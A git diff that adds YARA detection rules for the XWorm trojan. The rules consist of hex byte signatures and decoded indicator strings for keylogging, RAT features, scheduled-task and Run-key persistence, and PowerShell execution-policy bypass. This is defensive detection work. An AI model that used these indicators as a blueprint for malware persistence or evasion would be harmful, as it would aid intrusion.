a/Trojan/BAT/XWorm/Trojan_BAT_XWorm_AG_MTB.yar b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_AG_MTB.yar new file mode 100644 index 0000000000..11237f69f8 --- /dev/null +++ b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_AG_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_XWorm_AG_MTB{ + meta: + description = "Trojan:BAT/XWorm.AG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {11 08 75 18 00 00 1b 16 91 7e c1 00 00 04 20 b1 01 00 00 7e c1 00 00 04 20 b1 01 00 00 91 7e c1 00 00 04 20 ?? ?? 00 00 91 61 20 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/XWorm/Trojan_BAT_XWorm_AIAB_MTB.yar b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_AIAB_MTB.yar new file mode 100644 index 0000000000..0db867e51f --- /dev/null +++ b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_AIAB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_XWorm_AIAB_MTB{ + meta: + description = "Trojan:BAT/XWorm.AIAB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {ff ff ff 11 08 75 02 00 00 1b 11 09 11 07 11 0a 25 17 58 13 0a 91 08 61 d2 9c } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/XWorm/Trojan_BAT_XWorm_AJSA_MTB.yar b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_AJSA_MTB.yar new file mode 100644 index 0000000000..e39fe15890 --- /dev/null +++ b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_AJSA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_XWorm_AJSA_MTB{ + meta: + description = "Trojan:BAT/XWorm.AJSA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {16 13 05 2b 21 03 11 05 9a 28 ?? ?? 00 0a 20 a1 01 00 00 da b4 13 06 09 11 06 6f ?? ?? 00 0a 00 11 05 17 d6 13 05 11 05 11 04 31 d9 08 09 6f ?? ?? 00 0a 00 08 6f ?? ?? 00 0a 0a 2b 00 06 2a } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/XWorm/Trojan_BAT_XWorm_AOAB_MTB.yar b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_AOAB_MTB.yar new file mode 100644 index 0000000000..4e8e2a8a40 --- /dev/null +++ b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_AOAB_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_XWorm_AOAB_MTB{ + meta: + description = "Trojan:BAT/XWorm.AOAB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 00 " + + strings : + $a_03_0 = {11 00 11 02 02 11 02 91 11 03 11 02 11 03 28 ?? 00 00 06 5d 6f ?? 00 00 0a 61 d2 9c 20 } //5 + $a_01_1 = {11 02 17 58 13 02 20 } //2 + condition: + ((#a_03_0 & 1)*5+(#a_01_1 & 1)*2) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/XWorm/Trojan_BAT_XWorm_AOQA_MTB.yar b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_AOQA_MTB.yar new file mode 100644 index 0000000000..b88337edb7 --- /dev/null +++ b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_AOQA_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_XWorm_AOQA_MTB{ + meta: + description = "Trojan:BAT/XWorm.AOQA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 03 00 00 " + + strings : + $a_03_0 = {0a 0b 2b 25 72 ?? ?? 00 70 2b 21 2b 26 2b 2b 72 ?? ?? 00 70 2b 27 2b 2c 2b 31 2b 32 06 16 06 8e 69 6f ?? ?? 00 0a 0c de 41 07 2b d8 28 ?? ?? 00 0a 2b d8 6f ?? ?? 00 0a 2b d3 07 2b d2 28 ?? ?? 00 0a 2b d2 6f ?? ?? 00 0a 2b cd 07 2b cc 6f ?? ?? 00 0a 2b c7 } //5 + $a_01_1 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 FromBase64String + $a_01_2 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + condition: + ((#a_03_0 & 1)*5+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/XWorm/Trojan_BAT_XWorm_AOZA_MTB.yar b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_AOZA_MTB.yar new file mode 100644 index 0000000000..28c901f766 --- /dev/null +++ b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_AOZA_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_XWorm_AOZA_MTB{ + meta: + description = "Trojan:BAT/XWorm.AOZA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 03 00 00 " + + strings : + $a_03_0 = {05 0e 04 0e 06 0e 08 17 1f 40 28 ?? 00 00 06 0a 06 0e 05 0e 07 20 00 02 00 00 23 66 66 66 66 66 66 e6 3f 28 ?? 00 00 06 0b } //5 + $a_03_1 = {02 03 04 06 07 17 28 ?? 00 00 06 06 07 0e 06 0e 08 1f 0f 17 28 } //2 + $a_03_2 = {06 05 0e 04 23 00 00 00 00 a3 e1 b1 41 17 28 ?? 00 00 06 0b 02 03 04 06 07 05 0e 04 0e 05 23 33 33 33 33 33 33 d3 3f 28 } //2 + condition: + ((#a_03_0 & 1)*5+(#a_03_1 & 1)*2+(#a_03_2 & 1)*2) >=9 + +} \ No newline at end of file diff --git a/Trojan/BAT/XWorm/Trojan_BAT_XWorm_APQA_MTB.yar b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_APQA_MTB.yar new file mode 100644 index 0000000000..a84d693bb1 --- /dev/null +++ b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_APQA_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_XWorm_APQA_MTB{ + meta: + description = "Trojan:BAT/XWorm.APQA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 00 " + + strings : + $a_03_0 = {0a 13 04 11 04 17 6f ?? 04 00 0a 18 2c 18 11 04 18 6f ?? 04 00 0a 11 04 08 6f ?? 04 00 0a 11 04 09 6f ?? 04 00 0a 73 ?? 04 00 0a 13 05 11 05 11 04 6f ?? 04 00 0a 17 73 ?? 04 00 0a 13 06 11 06 02 16 02 8e 69 6f ?? 04 00 0a 11 06 6f ?? 04 00 0a de 0c } //3 + $a_01_1 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 FromBase64String + $a_01_2 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + condition: + ((#a_03_0 & 1)*3+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/XWorm/Trojan_BAT_XWorm_AQW_MTB.yar b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_AQW_MTB.yar new file mode 100644 index 0000000000..6467a442cf --- /dev/null +++ b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_AQW_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_XWorm_AQW_MTB{ + meta: + description = "Trojan:BAT/XWorm.AQW!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 01 00 00 " + + strings : + $a_01_0 = {06 7e 01 00 00 04 7e 02 00 00 04 28 02 00 00 06 0d 07 7e 01 00 00 04 7e 02 00 00 04 28 02 00 00 06 13 04 28 05 00 00 0a 13 05 11 05 72 0b 00 00 70 28 06 00 00 0a 13 06 11 05 72 1f 00 00 70 08 28 07 00 00 0a 28 06 00 00 0a 13 07 11 06 09 28 08 00 00 0a 11 07 11 04 28 08 00 00 0a 11 06 28 09 00 00 0a 26 11 07 } //3 + condition: + ((#a_01_0 & 1)*3) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/XWorm/Trojan_BAT_XWorm_ARZA_MTB.yar b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_ARZA_MTB.yar new file mode 100644 index 0000000000..fc451baa59 --- /dev/null +++ b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_ARZA_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_BAT_XWorm_ARZA_MTB{ + meta: + description = "Trojan:BAT/XWorm.ARZA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 04 00 00 " + + strings : + $a_03_0 = {0a 0b 07 03 6f ?? 00 00 0a 07 04 6f ?? 00 00 0a 07 17 6f ?? 00 00 0a 07 18 6f ?? 00 00 0a 07 6f ?? 00 00 0a 0c 06 73 ?? 00 00 0a 0d 09 08 16 73 ?? 00 00 0a 13 04 73 ?? 00 00 0a 13 05 11 04 11 05 6f ?? 00 00 0a 11 05 6f ?? 00 00 0a 13 06 de 36 } //4 + $a_01_1 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 FromBase64String + $a_01_2 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + $a_01_3 = {44 65 63 72 79 70 74 46 72 6f 6d 42 61 73 65 36 34 } //1 DecryptFromBase64 + condition: + ((#a_03_0 & 1)*4+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/XWorm/Trojan_BAT_XWorm_ATW_MTB.yar b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_ATW_MTB.yar new file mode 100644 index 0000000000..e987576cc7 --- /dev/null +++ b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_ATW_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_BAT_XWorm_ATW_MTB{ + meta: + description = "Trojan:BAT/XWorm.ATW!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 05 00 00 " + + strings : + $a_01_0 = {8e b7 6f 6e 00 00 0a 7e 10 00 00 04 15 17 6f 76 00 00 0a 26 7e 10 00 00 04 06 6f 6a 00 00 0a 16 06 6f 6f 00 00 0a b7 16 14 fe 06 26 00 00 06 73 37 00 00 0a 14 6f 77 00 00 0a } //2 + $a_01_1 = {02 7b 31 00 00 04 02 7b 32 00 00 04 28 af 00 00 0a 6f 36 00 00 0a 1b 8d 2d 00 00 01 13 04 11 04 16 72 bd 07 00 70 a2 11 04 17 02 7b 31 00 00 04 a2 11 04 18 72 ed 07 00 70 a2 11 04 19 7e 29 00 00 04 73 28 00 00 0a 7e 29 00 00 04 8e b7 6f 2e 00 00 0a 9a a2 11 04 1a 72 9e 08 00 70 a2 11 04 28 7f 00 00 0a 0b 28 d2 00 00 0a 07 6f d3 00 00 0a 0a 08 06 16 06 8e b7 16 6f d4 00 00 0a 26 20 c4 09 00 00 28 1f 00 00 0a 08 6f 7d 00 00 0a de 0e } //2 + $a_01_2 = {9a 28 42 00 00 0a 28 88 00 00 0a 0b 73 89 00 00 0a 0c 08 06 18 9a 07 6f 8a 00 00 0a 07 28 8b 00 00 0a 26 } //2 + $a_00_3 = {2d 00 45 00 78 00 65 00 63 00 75 00 74 00 69 00 6f 00 6e 00 50 00 6f 00 6c 00 69 00 63 00 79 00 20 00 42 00 79 00 70 00 61 00 73 00 73 00 20 00 2d 00 46 00 69 00 6c 00 65 00 20 00 } //2 -ExecutionPolicy Bypass -File + $a_00_4 = {4f 00 66 00 66 00 6c 00 69 00 6e 00 65 00 4b 00 65 00 79 00 6c 00 6f 00 67 00 67 00 65 00 72 00 20 00 4e 00 6f 00 74 00 20 00 45 00 6e 00 61 00 62 00 6c 00 65 00 64 00 } //2 OfflineKeylogger Not Enabled + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*2+(#a_00_3 & 1)*2+(#a_00_4 & 1)*2) >=10 + +} \ No newline at end of file diff --git a/Trojan/BAT/XWorm/Trojan_BAT_XWorm_AWM_MTB.yar b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_AWM_MTB.yar index fc8dce2bc5..f3ba3bd982 100644 --- a/Trojan/BAT/XWorm/Trojan_BAT_XWorm_AWM_MTB.yar +++ b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_AWM_MTB.yar @@ -8,4 +8,14 @@ rule Trojan_BAT_XWorm_AWM_MTB{ condition: ((#a_01_0 & 1)*1) >=1 +} +rule Trojan_BAT_XWorm_AWM_MTB_2{ + meta: + description = "Trojan:BAT/XWorm.AWM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {11 0a 11 06 28 ?? 00 00 0a 11 0a 20 80 00 00 00 28 ?? 00 00 0a 73 ?? 00 00 0a 13 0b 11 0b 11 0a 6f ?? 00 00 0a 11 0b 17 6f ?? 00 00 0a 11 0b 11 0a 28 ?? 00 00 0a 6f ?? 00 00 0a 11 0b 16 6f } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + } \ No newline at end of file diff --git a/Trojan/BAT/XWorm/Trojan_BAT_XWorm_AXC_MTB.yar b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_AXC_MTB.yar new file mode 100644 index 0000000000..ac3ae2e88c --- /dev/null +++ b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_AXC_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_XWorm_AXC_MTB{ + meta: + description = "Trojan:BAT/XWorm.AXC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 01 00 00 " + + strings : + $a_01_0 = {13 05 1d 28 09 00 00 0a 13 06 11 06 72 12 a6 01 70 28 0a 00 00 0a 13 07 11 07 11 05 28 0b 00 00 0a 00 11 07 28 0c 00 00 0a 26 00 de 12 } //3 + condition: + ((#a_01_0 & 1)*3) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/XWorm/Trojan_BAT_XWorm_AXW_MTB.yar b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_AXW_MTB.yar index c3112744cf..a2a53234f0 100644 --- a/Trojan/BAT/XWorm/Trojan_BAT_XWorm_AXW_MTB.yar +++ b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_AXW_MTB.yar @@ -1,5 +1,16 @@ rule Trojan_BAT_XWorm_AXW_MTB{ + meta: + description = "Trojan:BAT/XWorm.AXW!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_03_0 = {11 04 11 0b 11 0a 11 0b 6f ?? 00 00 0a 5d 6f ?? 00 00 0a 6f ?? 00 00 0a 26 11 04 09 11 0a 6f ?? 00 00 0a 16 6f ?? 00 00 0a 6f ?? 00 00 0a 26 00 11 0a 17 58 13 0a 11 0a 09 6f } //3 + $a_01_1 = {70 00 68 00 61 00 6e 00 74 00 6f 00 6d 00 2e 00 65 00 78 00 74 00 } //2 phantom.ext + condition: + ((#a_03_0 & 1)*3+(#a_01_1 & 1)*2) >=5 + +} +rule Trojan_BAT_XWorm_AXW_MTB_2{ meta: description = "Trojan:BAT/XWorm.AXW!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " @@ -10,7 +21,7 @@ rule Trojan_BAT_XWorm_AXW_MTB{ ((#a_03_0 & 1)*2+(#a_01_1 & 1)*1) >=3 } -rule Trojan_BAT_XWorm_AXW_MTB_2{ +rule Trojan_BAT_XWorm_AXW_MTB_3{ meta: description = "Trojan:BAT/XWorm.AXW!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 05 00 00 " diff --git a/Trojan/BAT/XWorm/Trojan_BAT_XWorm_AYZA_MTB.yar b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_AYZA_MTB.yar new file mode 100644 index 0000000000..9cb637f8b9 --- /dev/null +++ b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_AYZA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_XWorm_AYZA_MTB{ + meta: + description = "Trojan:BAT/XWorm.AYZA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 00 " + + strings : + $a_03_0 = {05 0e 04 0e 06 0e 08 17 1f 30 28 ?? 00 00 06 0a 06 0e 05 0e 07 20 00 01 00 00 23 00 00 00 00 00 00 e8 3f 28 ?? 00 00 06 0b } //4 + $a_03_1 = {02 03 04 06 07 17 28 ?? 00 00 06 06 07 0e 06 0e 08 1f 12 17 28 ?? 00 00 06 2a } //2 + condition: + ((#a_03_0 & 1)*4+(#a_03_1 & 1)*2) >=6 + +} \ No newline at end of file diff --git a/Trojan/BAT/XWorm/Trojan_BAT_XWorm_BAC_MTB.yar b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_BAC_MTB.yar new file mode 100644 index 0000000000..ad401fb222 --- /dev/null +++ b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_BAC_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_XWorm_BAC_MTB{ + meta: + description = "Trojan:BAT/XWorm.BAC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {03 11 04 6f 4e 01 00 0a 04 11 04 6f 4e 01 00 0a fe 01 16 fe 01 13 05 11 05 2c 02 2b 1a 08 03 11 04 6f 4e 01 00 0a 6f af 02 00 0a 26 11 04 17 d6 13 04 11 04 09 31 c9 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/XWorm/Trojan_BAT_XWorm_BAE_MTB.yar b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_BAE_MTB.yar new file mode 100644 index 0000000000..33a633a2f3 --- /dev/null +++ b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_BAE_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_XWorm_BAE_MTB{ + meta: + description = "Trojan:BAT/XWorm.BAE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {07 73 09 00 00 0a 13 09 11 09 11 08 16 73 0a 00 00 0a 13 0a 73 0b 00 00 0a 13 0b 00 11 0a 11 0b ?? ?? 00 00 0a 00 11 0b ?? ?? 00 00 0a 0d 00 de 0d 11 0b 2c 08 11 0b ?? ?? 00 00 0a 00 dc de 0d 11 0a 2c 08 11 0a ?? ?? 00 00 0a 00 dc de 0d } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/XWorm/Trojan_BAT_XWorm_EHUA_MTB.yar b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_EHUA_MTB.yar new file mode 100644 index 0000000000..023bc22d65 --- /dev/null +++ b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_EHUA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_XWorm_EHUA_MTB{ + meta: + description = "Trojan:BAT/XWorm.EHUA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {58 06 09 06 8e 69 5d 1f 19 58 1f 19 59 91 08 09 08 8e 69 5d 1b 58 1b 58 1f 0b 58 1f 16 59 1c 58 1b 59 91 61 06 09 20 10 02 00 00 58 20 0f 02 00 00 59 19 59 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/XWorm/Trojan_BAT_XWorm_ENJ_MTB.yar b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_ENJ_MTB.yar new file mode 100644 index 0000000000..3f67df2572 --- /dev/null +++ b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_ENJ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_XWorm_ENJ_MTB{ + meta: + description = "Trojan:BAT/XWorm.ENJ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {2b 17 06 07 6f 25 00 00 0a 28 26 00 00 0a 1f 1e 28 12 00 00 0a 07 17 58 0b 07 06 6f 20 00 00 0a 32 e0 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/XWorm/Trojan_BAT_XWorm_ENXO_MTB.yar b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_ENXO_MTB.yar new file mode 100644 index 0000000000..0ca5f2ceb0 --- /dev/null +++ b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_ENXO_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_XWorm_ENXO_MTB{ + meta: + description = "Trojan:BAT/XWorm.ENXO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {13 04 2b 7b 11 04 ?? ?? ?? ?? ?? ?? ?? 00 00 0a 13 05 11 05 14 ?? ?? ?? ?? ?? 17 ?? ?? ?? ?? ?? 25 16 06 a2 25 13 07 14 14 17 ?? ?? ?? ?? ?? 25 16 17 9c 25 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/XWorm/Trojan_BAT_XWorm_GPB_MTB.yar b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_GPB_MTB.yar index e4ef72c7b0..f12c4b88b0 100644 --- a/Trojan/BAT/XWorm/Trojan_BAT_XWorm_GPB_MTB.yar +++ b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_GPB_MTB.yar @@ -8,4 +8,23 @@ rule Trojan_BAT_XWorm_GPB_MTB{ condition: ((#a_03_0 & 1)*1) >=1 +} +rule Trojan_BAT_XWorm_GPB_MTB_2{ + meta: + description = "Trojan:BAT/XWorm.GPB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 0a 00 00 " + + strings : + $a_80_0 = {4d 61 73 6f 6e 52 41 54 } //MasonRAT 2 + $a_80_1 = {61 70 70 64 61 74 61 73 } //appdatas 1 + $a_80_2 = {52 65 67 57 72 69 74 65 } //RegWrite 1 + $a_80_3 = {4d 61 73 6f 6e 4b 69 74 } //MasonKit 1 + $a_80_4 = {44 44 6f 73 54 } //DDosT 1 + $a_80_5 = {43 69 6c 70 70 65 72 } //Cilpper 1 + $a_80_6 = {69 6e 6a 52 75 6e } //injRun 1 + $a_80_7 = {74 61 73 6b 6b 69 6c 6c } //taskkill 1 + $a_80_8 = {63 72 65 61 74 65 20 2f 66 20 2f 73 63 20 6d 69 6e 75 74 65 } //create /f /sc minute 1 + $a_80_9 = {53 4f 46 54 57 41 52 45 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 52 75 6e } //SOFTWARE\Microsoft\Windows\CurrentVersion\Run 1 + condition: + ((#a_80_0 & 1)*2+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1+(#a_80_7 & 1)*1+(#a_80_8 & 1)*1+(#a_80_9 & 1)*1) >=7 + } \ No newline at end of file diff --git a/Trojan/BAT/XWorm/Trojan_BAT_XWorm_GVC_MTB.yar b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_GVC_MTB.yar new file mode 100644 index 0000000000..7d0cc76b56 --- /dev/null +++ b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_GVC_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_XWorm_GVC_MTB{ + meta: + description = "Trojan:BAT/XWorm.GVC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {28 27 00 00 06 25 13 07 1c 5e } //2 + $a_01_1 = {28 27 00 00 06 25 0d 1b 5e } //2 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/XWorm/Trojan_BAT_XWorm_IZK_MTB.yar b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_IZK_MTB.yar new file mode 100644 index 0000000000..78b1f41214 --- /dev/null +++ b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_IZK_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_XWorm_IZK_MTB{ + meta: + description = "Trojan:BAT/XWorm.IZK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " + + strings : + $a_01_0 = {6f 5c 00 00 0a 06 07 16 07 8e b7 6f 5c 00 00 0a 7e 10 00 00 04 15 17 6f 63 00 00 0a 26 7e 10 00 00 04 06 6f 58 00 00 0a 16 06 6f 5d 00 00 0a b7 16 14 fe 06 1d 00 00 06 73 48 00 00 0a 14 6f 64 00 00 0a } //3 + $a_00_1 = {52 00 75 00 6e 00 42 00 6f 00 74 00 4b 00 69 00 6c 00 6c 00 65 00 72 00 } //1 RunBotKiller + condition: + ((#a_01_0 & 1)*3+(#a_00_1 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/BAT/XWorm/Trojan_BAT_XWorm_JKT_MTB.yar b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_JKT_MTB.yar new file mode 100644 index 0000000000..67ba0c5054 --- /dev/null +++ b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_JKT_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_XWorm_JKT_MTB{ + meta: + description = "Trojan:BAT/XWorm.JKT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {25 09 6f 24 00 00 0a 6f 28 00 00 0a 11 04 16 11 04 8e 69 6f 29 00 00 0a 13 05 28 10 00 00 0a 11 05 6f 12 00 00 0a } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/XWorm/Trojan_BAT_XWorm_NIT_MTB.yar b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_NIT_MTB.yar index 2f0d2c1e1d..848a994006 100644 --- a/Trojan/BAT/XWorm/Trojan_BAT_XWorm_NIT_MTB.yar +++ b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_NIT_MTB.yar @@ -11,4 +11,17 @@ rule Trojan_BAT_XWorm_NIT_MTB{ condition: ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=5 +} +rule Trojan_BAT_XWorm_NIT_MTB_2{ + meta: + description = "Trojan:BAT/XWorm.NIT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 04 00 00 " + + strings : + $a_03_0 = {73 35 00 00 0a 13 06 11 06 17 6f ?? 00 00 0a 11 06 1b 8d 35 00 00 01 13 0a 11 0a 16 72 ?? 01 00 70 a2 11 0a 17 7e 0f 00 00 04 28 37 00 00 0a a2 11 0a 18 72 ?? 01 00 70 a2 11 0a 19 07 a2 11 0a 1a 72 ?? 01 00 70 a2 11 0a 28 38 00 00 0a 6f ?? 00 00 0a 11 06 28 3a 00 00 0a 13 05 11 05 6f ?? 00 00 0a de 0f } //2 + $a_03_1 = {0a de 00 72 ?? 01 00 70 28 ?? 00 00 0a 72 ?? 01 00 70 7e 0f 00 00 04 28 ?? 00 00 0a 28 ?? 00 00 0a 13 08 28 ?? 00 00 06 6f ?? 00 00 0a 6f ?? 00 00 0a 72 ?? 01 00 70 17 6f ?? 00 00 0a 7e 0f 00 00 04 28 ?? 00 00 0a 11 08 6f ?? 00 00 0a 7e 0f 00 00 04 11 08 28 ?? 00 00 0a de 0f } //2 + $a_00_2 = {73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 2e 00 65 00 78 00 65 00 } //1 schtasks.exe + $a_00_3 = {41 00 6e 00 74 00 69 00 76 00 69 00 72 00 75 00 73 00 50 00 72 00 6f 00 64 00 75 00 63 00 74 00 } //1 AntivirusProduct + condition: + ((#a_03_0 & 1)*2+(#a_03_1 & 1)*2+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1) >=6 + } \ No newline at end of file diff --git a/Trojan/BAT/XWorm/Trojan_BAT_XWorm_SLJ_MTB.yar b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_SLJ_MTB.yar new file mode 100644 index 0000000000..f3247c36fa --- /dev/null +++ b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_SLJ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_XWorm_SLJ_MTB{ + meta: + description = "Trojan:BAT/XWorm.SLJ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {1a 11 04 a2 25 1b 11 05 a2 28 ?? 00 00 0a 11 06 28 ?? 00 00 06 28 ?? 00 00 0a 13 07 11 07 28 ?? 00 00 0a 13 08 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/XWorm/Trojan_BAT_XWorm_STUP_MTB.yar b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_STUP_MTB.yar new file mode 100644 index 0000000000..843b7917e7 --- /dev/null +++ b/Trojan/BAT/XWorm/Trojan_BAT_XWorm_STUP_MTB.yar @@ 